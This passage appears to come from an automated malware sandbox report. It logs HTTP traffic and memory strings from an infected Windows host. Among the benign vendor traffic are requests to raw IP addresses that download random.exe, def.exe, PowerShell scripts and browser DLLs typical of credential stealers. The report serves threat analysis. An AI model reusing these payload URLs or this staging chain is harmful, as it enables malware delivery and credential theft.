Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=c34707f9657a4af5a9015f40cca694bc&HASH=c347&LV=202411&V=4&LU=1732410988419; MS0=828ca0c500494df9ae5855c3ad5e158c; MUID=2611C7E7CE8569633DEAD2A6CA856F19
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/CC%20[server].html HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/gok44.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/aZhXvFT.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/vtF7qZo.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/6OMLg7r.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/DcDqduU.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /var/www/html/files/5124158732/x0xqqzB.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/5803047068/LHRdgLv.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 0000001A.00000002.2721978174.000016B00074C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721530606.000016B0006D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 0000001A.00000003.2697619301.000016B000FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2697303535.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2698130291.000016B0003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px 